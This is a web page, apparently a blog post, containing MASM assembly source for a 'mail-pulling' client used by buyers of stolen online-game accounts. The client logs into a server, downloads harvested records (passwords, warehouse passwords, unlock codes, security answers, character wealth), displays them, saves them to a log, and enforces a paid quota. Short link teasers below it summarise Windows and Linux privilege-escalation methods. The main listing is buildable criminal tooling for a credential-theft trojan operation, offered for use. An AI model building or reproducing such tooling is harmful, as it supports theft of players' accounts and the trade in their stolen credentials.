用户提信客户端

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; by asm, http://www.game8.cc/
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Client.asm
; 用户提信客户端 -- 下家取信工具
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff Client1.asm
; rc Client.rc
; Link /subsystem:windows Client1.obj Client.res
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                .386
                .model flat, stdcall
                option casemap :none   ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include                windows.inc
include                user32.inc
includelib        user32.lib
include                kernel32.inc
includelib        kernel32.lib
include                wsock32.inc
includelib        wsock32.lib
include                comctl32.inc
includelib        comctl32.lib
include                shell32.inc
includelib        shell32.lib
includelib  base64code.lib
include                _Message.inc
include macros.inc

    DecodeBase64   PROTO c :DWORD, :DWORD
    EncodeBase64   PROTO c :DWORD, :DWORD,:DWORD
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN        equ        1000
DLG_MAIN        equ        2000
IDC_LIST1              equ      2001
IDC_COMBOBOXEX2        equ            2002
IDC_EDIT2              equ      2003
IDC_BUTTON4              equ      2004
IDC_PROGRESS1           equ         2005
IDC_AddUser              equ      2006
IDC_UserName           equ         2007
IDC_PassWord           equ         2008
IDC_Qu                 equ   2009
IDC_Fuwuqi              equ      2010
IDC_EDIT14              equ      2011
IDC_EDIT1              equ      2012
IDC_COMBOBOXEX1        equ            2013
IDC_EDIT3              equ      2014
IDC_SERVER              equ      2015
IDC_USER                 equ   2016
IDC_PASS                 equ   2017
IDC_LOGIN              equ      2018
IDC_LOGOUT              equ      2019
IDC_BUTTON3       equ        2020
;IDC_BUTTON4        equ      2021
TCP_PORT        equ        9999
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                .data?
hInstance        dd        ?
hWinMain        dd        ?
hSocket                dd        ?
dwLastTime        dd        ?
szServer        db        16 dup (?)
szUserName        db        12 dup (?)
szPassword        db        12 dup (?)
szText                db        256 dup (?)
hList dd ?
@sz Buffer db 5026 dup(?)
@dwListviewitem dd ?
hhang dd ?
szMessage db 100 dup(?)
szMessage1 db 100 dup(?)
szMessage2 db 100 dup(?)
szMessage3 db 100 dup(?)
szMessage4 db 100 dup(?)
szMessage5 db 100 dup(?)
szMessage6 db 100 dup(?)
szMessage7 db 100 dup(?)
szMessage8 db 100 dup(?)
szMessage9 db 100 dup(?)
szMessage10 db 100 dup(?)
hEdit dd ?
szWrite db 1024 dup(?)
@hFiledaka dd ?
@dwWritedaka dd ?
@dwWritebyte1 DWORD ?
szBaseUserName db 100 dup(?)
szBasePassword db 100 dup(?)
hNameSize dd ?
hPassSize dd ?
hProgress1 dd ?
@dwCount1 dd ?
                .const
szErrIP                db        '无效的服务器IP地址!',0
szErrConnect        db        '无法连接到服务器!',0
szErrLogin        db        '无法登录到服务器,请检查用户名密码!',0
szSpar                db        ' : ',0
Fmt db "%s",13,10,13,10,0
szFmt db "用户:%s  密码:%s  仓库%s  解锁:%s  密保:%s  服务器:%s  等级:%s  金钱:%s  角色:%s",13,10,13,10,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                .code
include                _SocketRoute.asm
include   Fun.asm
include _ListView.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 通讯线程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WorkThread        proc        _lParam
                local        @stSin:sockaddr_in,@stMsg:MSG_STRUCT
                ;local        @szBuffer[5026]:byte

                pushad
                invoke        GetDlgItem,hWinMain,IDC_SERVER
                invoke        EnableWindow,eax,FALSE
                invoke        GetDlgItem,hWinMain,IDC_USER
                invoke        EnableWindow,eax,FALSE
                invoke        GetDlgItem,hWinMain,IDC_PASS
                invoke        EnableWindow,eax,FALSE
                invoke        GetDlgItem,hWinMain,IDC_LOGIN
                invoke        EnableWindow,eax,FALSE

;********************************************************************
; 创建 socket
;********************************************************************
                invoke        RtlZeroMemory,addr @stSin,sizeof @stSin
                invoke        inet_addr,addr szServer
                .if        eax ==        INADDR_NONE
                        invoke        MessageBox,hWinMain,addr szErrIP,NULL,MB_OK or MB_ICONSTOP
                        jmp        _Ret
                .endif
                mov        @stSin.sin_addr,eax
                mov        @stSin.sin_family,AF_INET
                invoke        htons,TCP_PORT
                mov        @stSin.sin_port,ax

                invoke        socket,AF_INET,SOCK_STREAM,0
                mov        hSocket,eax
;********************************************************************
; 连接到服务器
;********************************************************************
                invoke        connect,hSocket,addr @stSin,sizeof @stSin
                .if        eax ==        SOCKET_ERROR
                        invoke        MessageBox,hWinMain,addr szErrConnect,NULL,MB_OK or MB_ICONSTOP
                        jmp        _Ret
                .endif
;********************************************************************
; 登录到服务器
;********************************************************************
      ;invoke DecodeBase64,addr szUserName,addr szBaseUserName
      ;invoke DecodeBase64,addr szPassword,addr szBaseUserName
      invoke lstrlen,addr szUserName
      mov hNameSize,eax
      invoke EncodeBase64,addr szUserName,addr szBaseUserName,hNameSize
      ;invoke MessageBox,0,addr szBaseUserName,0,0
      invoke lstrlen,addr szPassword
      mov hPassSize,eax
      invoke EncodeBase64,addr szPassword,addr szBasePassword,hPassSize
      ;invoke MessageBox,0,addr szBasePassword,0,0
                invoke        lstrcpy,addr @stMsg.Login.szUserName,addr szBaseUserName
                invoke        lstrcpy,addr @stMsg.Login.szPassword,addr szBasePassword
                mov        @stMsg.MsgHead.dwLength,sizeof MSG_HEAD+sizeof MSG_LOGIN
                mov        @stMsg.MsgHead.dwCmdId,CMD_LOGIN
                invoke        send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
                cmp        eax,SOCKET_ERROR
        ;        jz        @F
                invoke        _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
        ;        or        eax,eax
        ;        jnz        @F
        ;        cmp        @stMsg.MsgHead.dwCmdId,CMD_LOGIN_RESP
        ;        jnz        @F
        .if @stMsg.MsgHead.dwCmdId == CMD_LOGIN_RESP
                .if        @stMsg.LoginResp.dbResult != NULL
                ;        @@:
                        invoke        MessageBox,hWinMain,addr szErrLogin,NULL,MB_OK or MB_ICONSTOP
                        jmp        _Ret
                .endif
        .endif
                invoke        GetDlgItem,hWinMain,IDC_LOGOUT
                invoke        EnableWindow,eax,TRUE
                ;invoke        GetDlgItem,hWinMain,IDC_TEXT
                invoke        EnableWindow,eax,TRUE
                invoke        GetTickCount
                mov        dwLastTime,eax
;********************************************************************
; 循环接收消息
;********************************************************************
                ;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
                ;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
                invoke        SendMessage,hList,LVM_DELETEALLITEMS,0,0
                mov hhang,0
                ;mov @dwCount1,0
                .while        hSocket
                        inc hhang
                        ;inc @dwCount1
                        ;invoke SendMessage,hProgress1,PBM_SETPOS,@dwCount1,0
                        invoke        GetTickCount
                        sub        eax,dwLastTime
                        .break        .if eax >= 60 * 1000
                        invoke        _WaitData,hSocket,200 * 1000
                        .break        .if eax == SOCKET_ERROR
                        .if        eax
                                invoke        _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
                                .break        .if eax
                                .if        @stMsg.MsgHead.dwCmdId == CMD_MSG_DOWN
                                        invoke RtlZeroMemory,addr szWrite,sizeof szWrite
                                        invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
                                        ;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
                                        ;invoke        SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
                                        invoke        _ListViewSetItem,hList,hhang,-1,0        ;插入新的一行
                                        mov        @dwListviewitem,eax
                                        invoke RtlZeroMemory,addr szText,sizeof szText
                                        invoke wsprintf,addr szText,CTXT("%d"),hhang
                                        invoke        _ListViewSetItem,hList,@dwListviewitem,0,addr szText
                         invoke        _ListViewSetItem,hList,@dwListviewitem,1,addr @stMsg.MsgDown.szUser
                         invoke        _ListViewSetItem,hList,@dwListviewitem,2,addr @stMsg.MsgDown.szPass
                         invoke        _ListViewSetItem,hList,@dwListviewitem,3,addr @stMsg.MsgDown.szCKpass
                         invoke        _ListViewSetItem,hList,@dwListviewitem,4,addr @stMsg.MsgDown.szJieSuo
                         invoke        _ListViewSetItem,hList,@dwListviewitem,5,addr @stMsg.MsgDown.szMibao
                         invoke        _ListViewSetItem,hList,@dwListviewitem,6,addr @stMsg.MsgDown.szServer
                         invoke        _ListViewSetItem,hList,@dwListviewitem,7,addr @stMsg.MsgDown.szDengji
                         invoke        _ListViewSetItem,hList,@dwListviewitem,8,addr @stMsg.MsgDown.szJinqian
                         invoke        _ListViewSetItem,hList,@dwListviewitem,9,addr @stMsg.MsgDown.szJiaose
                         invoke        _ListViewSetItem,hList,@dwListviewitem,10,addr @stMsg.MsgDown.szIP
                         invoke        _ListViewSetItem,hList,@dwListviewitem,11,addr @stMsg.MsgDown.szTime
                         invoke wsprintf,addr szWrite,addr szFmt,/
                                        addr @stMsg.MsgDown.szUser,addr @stMsg.MsgDown.szPass,addr @stMsg.MsgDown.szCKpass,addr @stMsg.MsgDown.szJieSuo,/
                                        addr @stMsg.MsgDown.szMibao,addr @stMsg.MsgDown.szServer,addr @stMsg.MsgDown.szDengji,addr @stMsg.MsgDown.szJinqian,/
                                        addr @stMsg.MsgDown.szJiaose;,addr @stMsg.MsgDown.szIP,addr @stMsg.MsgDown.szTime
                                        invoke GetCurrentDirectory,200,addr @szBuffer
                                        invoke lstrcat,addr @szBuffer,CTXT("/游戏信封文本.log")
                                        invoke        CreateFile,addr @szBuffer,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,/
                        0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
            mov        @hFiledaka,eax
            invoke        SetFilePointer,@hFiledaka,0,NULL,FILE_END
            invoke        lstrlen,addr szWrite
            mov        @dwWritedaka,eax
            invoke  WriteFile,@hFiledaka,addr szWrite,@dwWritedaka,addr @dwWritebyte1,NULL
            invoke        CloseHandle,@hFiledaka
                                .endif
                                .if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game
                                        invoke MessageBox,0,CTXT("已经到达你所预定的信封量,要想继续提信,请续费"),CTXT("提示"),MB_ICONQUESTION
                                        jmp _Ret
                                .endif       
                                .if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Name
                                        invoke MessageBox,0,CTXT("错误的用户名!"),CTXT("提示"),MB_ICONQUESTION
                                        jmp _Ret
                                .endif
                                .if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game1
                                        ;invoke        lstrcat,addr @szBuffer,addr @stMsg.MsgDown.szContent
                                        ;invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
                                        ;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
                                        ;invoke   SendMessage,hList,EM_SETSEL,-1,0
               ;invoke   SendMessage,hList,EM_REPLACESEL,FALSE,addr @szBuffer
               ;invoke MessageBox,0,addr @stMsg.MsgDown.szContent,0,0
                                        ;invoke        SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
                                        ;invoke        SendDlgItemMessage,hWinMain,IDC_INFO,LB_INSERTSTRING,0,addr @szBuffer
                                .endif
                                invoke        GetTickCount
                                mov        dwLastTime,eax
                        .endif
                .endw
jmp _Ret
                invoke        GetDlgItem,hWinMain,IDOK
                invoke        EnableWindow,eax,FALSE
                ;invoke        GetDlgItem,hWinMain,IDC_TEXT
                invoke        EnableWindow,eax,FALSE
                invoke        GetDlgItem,hWinMain,IDC_LOGOUT
                invoke        EnableWindow,eax,FALSE
;********************************************************************
_Ret:
                .if        hSocket
                        invoke        closesocket,hSocket
                        xor        eax,eax
                        mov        hSocket,eax
                .endif

                invoke        GetDlgItem,hWinMain,IDC_SERVER
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_USER
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_PASS
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_LOGIN
                invoke        EnableWindow,eax,TRUE
                popad
                ret

_WorkThread        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 主窗口程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain        proc        uses ebx edi esi hWnd,wMsg,wParam,lParam
                local        @stWsa:WSADATA,@stMsg:MSG_STRUCT

                mov        eax,wMsg
;********************************************************************
                .if        eax ==        WM_COMMAND
                        mov        eax,wParam
;********************************************************************
; 全部输入IP地址,用户名和密码后则激活"登录"按钮
;********************************************************************
                        .if        (ax == IDC_SERVER) || (ax == IDC_USER) || (ax == IDC_PASS)
                                invoke        GetDlgItemText,hWinMain,IDC_SERVER,addr szServer,sizeof szServer
                                invoke        GetDlgItemText,hWinMain,IDC_USER,addr szUserName,sizeof szUserName
                                invoke        GetDlgItemText,hWinMain,IDC_PASS,addr szPassword,sizeof szPassword
                                invoke        GetDlgItem,hWinMain,IDC_LOGIN
                                .if        szServer && szUserName && szPassword && !hSocket
                                        invoke        EnableWindow,eax,TRUE
                                .else
                                        invoke        EnableWindow,eax,FALSE
                                .endif
;********************************************************************
; 登录成功后,输入聊天语句后才激活"发送"按钮
;********************************************************************
                ;        .elseif        ax ==        IDC_LIST1
                        ;        invoke        GetDlgItemText,hWinMain,IDC_TEXT,addr szText,sizeof szText
                ;                invoke        GetDlgItem,hWinMain,IDOK
                ;                .if        szText && hSocket
                ;                        invoke        EnableWindow,eax,TRUE
                ;                .else
                ;                        invoke        EnableWindow,eax,FALSE
                ;                .endif
;********************************************************************
                        .elseif        ax ==        IDC_LOGIN
                                invoke DeleteFile,CTXT("游戏信封文本.log")
                                push        ecx
                                invoke        CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
                                pop        ecx
                                invoke        CloseHandle,eax
                        .elseif ax == IDC_BUTTON4       
                                invoke DeleteFile,CTXT("游戏信封文本.log")
                                push        ecx
                                invoke        CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
                                pop        ecx
                                invoke        CloseHandle,eax
;********************************************************************
                        .elseif        ax ==        IDC_LOGOUT
                                @@:
                                .if        hSocket
                                        invoke        closesocket,hSocket
                                        xor        eax,eax
                                        mov        hSocket,eax
                                .endif
                                                invoke        GetDlgItem,hWinMain,IDC_SERVER
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_USER
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_PASS
                invoke        EnableWindow,eax,TRUE
                invoke        GetDlgItem,hWinMain,IDC_LOGIN
                invoke        EnableWindow,eax,TRUE
;********************************************************************
                        .elseif        ax ==        IDOK
                               
                                invoke        lstrcpy,addr @stMsg.MsgUp.szContent,addr szText
                                invoke        lstrlen,addr @stMsg.MsgUp.szContent
                                inc        eax
                                mov        @stMsg.MsgUp.dwLength,eax
                                add        eax,sizeof MSG_HEAD+MSG_UP.szContent
                                mov        @stMsg.MsgHead.dwLength,eax
                                mov        @stMsg.MsgHead.dwCmdId,CMD_MSG_UP
                                invoke        send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
                                cmp        eax,SOCKET_ERROR
                                jz        @B
                                invoke        GetTickCount
                                mov        dwLastTime,eax
                        ;        invoke        SetDlgItemText,hWinMain,IDC_TEXT,NULL
                        ;        invoke        GetDlgItem,hWinMain,IDC_TEXT
                                invoke        SetFocus,eax       
                        .endif
;********************************************************************
                .elseif        eax ==        WM_CLOSE
                        .if        ! hSocket
                                invoke        WSACleanup
                                invoke        EndDialog,hWinMain,NULL
                        .endif
;********************************************************************
                .elseif        eax ==        WM_INITDIALOG
                        push        hWnd
                        pop        hWinMain
                        invoke        LoadIcon,hInstance,ICO_MAIN
                        invoke        SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
                        invoke GetDlgItem,hWnd,IDC_LIST1
                        mov hList,eax
                        invoke GetDlgItem,hWnd,IDC_BUTTON3
                        mov hEdit,eax
                        ;invoke GetDlgItem,hWnd,IDC_PROGRESS1
                        ;mov hProgress1,eax
                        ;mov @dwCount1,0
                        ;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
                        ;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
                        invoke        _ListViewAddColumn,hList,0,50,CTXT("ID")
                        invoke        _ListViewAddColumn,hList,1,100,CTXT("用户")
                        invoke        _ListViewAddColumn,hList,2,100,CTXT("密码")
                        invoke        _ListViewAddColumn,hList,3,80,CTXT("仓库密码")
                        invoke        _ListViewAddColumn,hList,4,100,CTXT("解锁码") ;小姐
                        invoke        _ListViewAddColumn,hList,5,80,CTXT("密保")  ;小姐
                        invoke        _ListViewAddColumn,hList,6,80,CTXT("服务器")
                        invoke        _ListViewAddColumn,hList,7,50,CTXT("等级")
                        invoke        _ListViewAddColumn,hList,8,50,CTXT("金钱")
                        invoke        _ListViewAddColumn,hList,9,50,CTXT("角色")
                        invoke        _ListViewAddColumn,hList,10,100,CTXT("IP")
                        invoke        _ListViewAddColumn,hList,11,100,CTXT("时间")
                        invoke        WSAStartup,101h,addr @stWsa
                ;        invoke        SendDlgItemMessage,hWinMain,IDC_SERVER,EM_SETLIMITTEXT,15,0
                ;        invoke        SendDlgItemMessage,hWinMain,IDC_USER,EM_SETLIMITTEXT,11,0
                ;        invoke        SendDlgItemMessage,hWinMain,IDC_PASS,EM_SETLIMITTEXT,11,0
                ;        invoke        SendDlgItemMessage,hWinMain,IDC_TEXT,EM_SETLIMITTEXT,250,0
                   invoke ShellExecute,0,0,CTXT("http://www.game8.cc/"),0,0,SW_SHOW
                .elseif eax ==        WM_NOTIFY               
                        mov        eax,wParam
                        .if        eax == IDC_LIST1
                                push     edi
                                mov     edi, lParam
                                .if [edi.NMHDR].code == NM_DBLCLK ;双击
                                        invoke RtlZeroMemory,addr szMessage,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage1,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage2,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage3,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage4,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage5,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage6,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage7,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage8,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage9,sizeof szMessage
                                        invoke RtlZeroMemory,addr szMessage10,sizeof szMessage
                                        invoke RtlZeroMemory,addr szWrite,sizeof szWrite
                                        invoke SetDlgItemText,hWnd,IDC_BUTTON3,CTXT(" ")
                                        invoke        _ListViewSelect,hList,1,addr szMessage ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,2,addr szMessage1 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,3,addr szMessage2 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,4,addr szMessage3 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,5,addr szMessage4 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,6,addr szMessage5 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,7,addr szMessage6 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,8,addr szMessage7 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,9,addr szMessage8 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,10,addr szMessage9 ,sizeof szMessage
                                        invoke        _ListViewSelect,hList,11,addr szMessage10 ,sizeof szMessage
                                        invoke wsprintf,addr szWrite,CTXT("用户:%s  密码:%s  仓库%s  解锁:%s  密保:%s  服务器:%s  等级:%s  金钱:%s  角色:%s  IP:%s  时间:%s"),/
                                        addr szMessage,addr szMessage1,addr szMessage2,addr szMessage3,addr szMessage4,addr szMessage5,addr szMessage6,addr szMessage7,addr szMessage8,/
                                        addr szMessage9,addr szMessage10
                                        invoke   SendMessage,hEdit,EM_SETSEL,-1,0
               invoke   SendMessage,hEdit,EM_REPLACESEL,FALSE,addr szWrite
                                .endif
                                pop edi
                        .endif       
;********************************************************************
                .else
                        mov        eax,FALSE
                        ret
                .endif
                mov        eax,TRUE
                ret

_ProcDlgMain        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
                invoke        GetModuleHandle,NULL
                mov        hInstance,eax
                invoke        InitCommonControls
                invoke        DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,0
                invoke        ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
客户端集成环推送【被挤下线】原理及步骤 1.原理:   被挤下线功能,即一个账号在A客户端保持登陆状态,然后又在B客户端进行了登陆操作,那么A客户端就会被挤下线。 当用户user1使用账号123456登录app后,用户user2在另一台手机使用同一账号123456登录,这时需要给A发通知给出示,并强制user1下线。在app不在前台(包括完全退出和按了home键)的时候,不给示,重新进入app给出示. 那么其实有4种情况: ... 阅读详情

相关推荐

七(6)环-用户体系集成-联系人管理

七(6)环-用户体系集成-联系人管理

sweetcuter的博客 2491

UOS上如何安装Citrix客户端

hello,大家好啊!今天我要给大家带来的是在统UOS操作系统上安装Citrix客户端的指导文章。Citrix客户端是许多企业和个人用户连接和使用虚拟桌面和应用程序的重要工具。近期,随着Citrix客户端新版本的发布,一些朋友可能遇到了安装过程中的依赖问题,特别是与curl相关的依赖问题,导致安装失败。今天,我们就来解决这个问题,确保你能顺利安装最新版本的Citrix客户端。请注意,本文介绍的所有操作仅适用于测试环境,不对您的任何操作行为负责。让我们开始吧!

鹏大圣运维 2918

Android客户端集成文档

Android客户端集成文档一、Android SDK简介 环SDK为用户开发IM相关的应用供的一套完善的开发框架。 包括以下几个部分:SDK_Core为核心的消息同步协议实现,完成与服务器之间的息交换。 SDK是基于核心协议实现的完整的IM功能,实现了不同类型消息的收发、会话管理、群组、好友、聊天室等功能。 EaseUI是一组IM相关的UI控件,旨在帮助开发者快速集成环SDK

小笨蛋 1万+

用户权su sudo

1.su命令进行权 优点:比较方便可以直接切换root获得权限 缺点:有一定的风险,如果普通用户权限太大会出现一些安全问题 su - usename(可以进行用户切换) 那么同时普通用户如果知道root密码也可以通过su - root切换到root用户,然后获得root权限,但是这样有很大的风险,如果普通用户权限太高会存在安全问题。 vim /etc/pam.d/su /etc/pam.d是一个存放有很多模块的目录 ,这些目录中有一个su模块,可以限制普通用户对su的执行,凡是在wheel组.

weixin_46946629的博客 1964

day9 windows

显示所有用户,不包括隐藏用户net user# 创建用户(命令行创建用户,明文输入密码)# 删除用户# 创建隐藏用户 (在用户的后面加上$符号,隐藏用户用net user看不见)# 删除隐藏用户ver --查看系统类型whoami --查看权限息systeminfo --查看系统息(包括版本,补丁)

weixin_65333372的博客 887

客户端业务如何做好埋点测试

一般行业内会根据业务属性和侧重的不同,划分为重客户端业务和轻客户端业务。属于重客户端业务的有音视频剪辑、直播、修图、地图、游戏等,这些业务需要用户客户端有大量的操作和互动。属于轻客户端业务的有新闻、商品浏览、交易等,这些业务一般偏重数据展示和轻量级的用户交互。

伤心的辣条 451

权 day09

用户组是一组具有相同权限和属性的用户的集合,而用户是使用计算机系统资源的个人或程序。wmic computersystem list full 命令:获取计算机系统息,包括系统中的用户用户组。dsquery group 命令:在 Windows Server 中,用于查询域用户息。dsquery user 命令:在 Windows Server 中,用于查询域用户息。检查系统配置是否存在错误,例如,错误的服务权限设置、错误的文件权限设置等。

qq_69135350的博客 1694

WEB渗透Linux权篇-权工具合集

用于检查可执行文件属性的 bash 脚本(如 PIE、RELRO、PaX、Canaries、ASLR、Fortify Source)枚举基本系统息并搜索常见的权限升向量,例如世界可写文件、错误配置、明文密码和适用的漏洞利用。检查文件权限、cron 作业(如果可见)、弱凭据等。搞个web服务供下载。

qq_59468567的博客 3275

IM 客户端将适配鸿蒙 HarmonyOS

自华为推出了自主研发操作系统鸿蒙 HarmonyOS 后,国内许多应用软件开始陆续全面兼容和接入鸿蒙操作系统。环 IM 客户端计划将全面适配统鸿蒙 HarmonyOS ,助力开发者快速实现社交娱乐、语聊房、在线教育、智能硬件、社交电商、在线金融、线上医疗等广泛场景的即时消息互动。环 IM 客户端适配后,将为开发者供鸿蒙 HarmonyOS 系统上。

huan132456765的博客 896

Windows

常规息搜集systeminfo 查询系统息hostname 主机名net user 查看用户息netstat -ano|find "3389" 查看服务pid号wmic os get caption 查看系统名wmic qfe get Description,HotFixID,InstalledOn 查看补丁息wmic product get name,version 查看当前安装程序wmic service list brief 查询本机服务。

eidbsidbp的博客 824

Linux用户组免密sudo

Linux用户组免密sudo权创建用户组及免密权限配置ssh.ssh文件权限 创建用户组及免密权限 创建用户组duanyiwen,指定gid为1000 groupadd -g 1000 duanyiwen 将用户dyiwen加入duanyiwen用户组 usermod -g duanyiwen dyiwen 或 gpasswd -a dyiwen duanyiwen id查看用户的组息 ...

weixin_43819222的博客 999

IM客户端集成(整理)

1. 环IM功能介绍     1. 平台架构            2. 发送消息         1. 
         2. 为开发者供基于移动互联网的即时通讯能力,如单聊、群聊、发语音、发图片、发位置、实时音频、实时视频等。     3. 用户体系集成         1. 客户端登录集成             1. APP 客户端在登录自己的 AP

iOS开发 5401

实训Day9 Windows

实训内容

m0_65590325的博客 936

mysql 权_MYSQL权总结

经擦遇到了MYSQL数据库,想尽办法权,最终都没有成功,很是郁闷,可能是自己很久没有研究过权导致的吧,总结一下MYSQL权的各种姿势吧,权当复习了。关于mysql权的方法也就那么几种,希望也能帮到各位小伙伴们。一、利用mof权前段时间国外Kingcope大牛发布了mysql远程权0day(MySQL WindowsRemote System Level Exploit (Stuxnet...

weixin_42515024的博客 639

Java IM环服务端集成之用户注册(三)

开博后,由于个人原因停了接近三个月,如今重新执笔,回归CSDN,壮哉我大Java。...

Noseparte的博客 1万+

吐槽声不断,创邮箱客户端离好用还有多远?

从伊朗核电站遭遇病毒攻击到“棱镜门”,从中兴事件到华为被制裁,网络空间早已成为没有硝烟的战场,因此只有实现息技术的自主可控才能保障网络安全、息安全。目前创建设如火如荼,但不得不正视的是,国产产品距离“好用”还有一定差距,用户体验有待升。邮箱作为日常使用频率较高的办公软件之一,来自各方的吐槽不断,更换到创邮箱,操作习惯被陡然转变,用户接受度很低。创邮箱现状如何?离好用还有多远?笔者体验了几款不同邮箱产品,有了一些新的感受。国外产品长期霸屏,创邮箱客户端道阻且长在以往的市场上,Outlook依靠M

cover_se的博客 4

云打印正式上线统UOS应用商店

今日,统云打印正式登陆统UOS应用商店,统UOS专业版用户可在应用商店中一键安装,方便快捷。 统云打印是由统软件开发的一种新型打印解决方案,借助统云打印,您可以通过日常使用的应用程序进行网络打印。 统云打印适用于AMD64、ARM64、MIPS64架构的台式机、笔记本电脑、部分平板电脑以及其他您已授权打印的联网设备。 统云打印以统UOS为基础,整合国内外打印和扫描设备资源,构建共享打印平台,向用户供随时随地的打印和扫描服务,解决外设利旧难题,助力用户平滑迁移至创平台。 统云打印

统信软件的博客 3964

[权限升] Windows 权 & 维持 — 系统错误配置权 - 注册表权限配置错误

通常 Windows 中的服务都是以 System 权限运行的,而 Windows 的服务程序的启动路径又是存放在注册表中的,若注册表配置不当,导致低权限用户可以更改注册表项时,就可能造成权漏洞。如上,可以看到,注册表中的 testService 服务的启动程序路径已经被我们修改了,接下来,我们只要等待管理员启动服务即可权(要是设置服务为开机自启,就只需要等待电脑重启就能拿到高权限了)。如上,拿到靶机中的一个低权限用户 Shell,下面我们开始通过 “注册表权限配置错误漏洞” 进行权。

Blue17 の 小窝 1432

权方式及原理

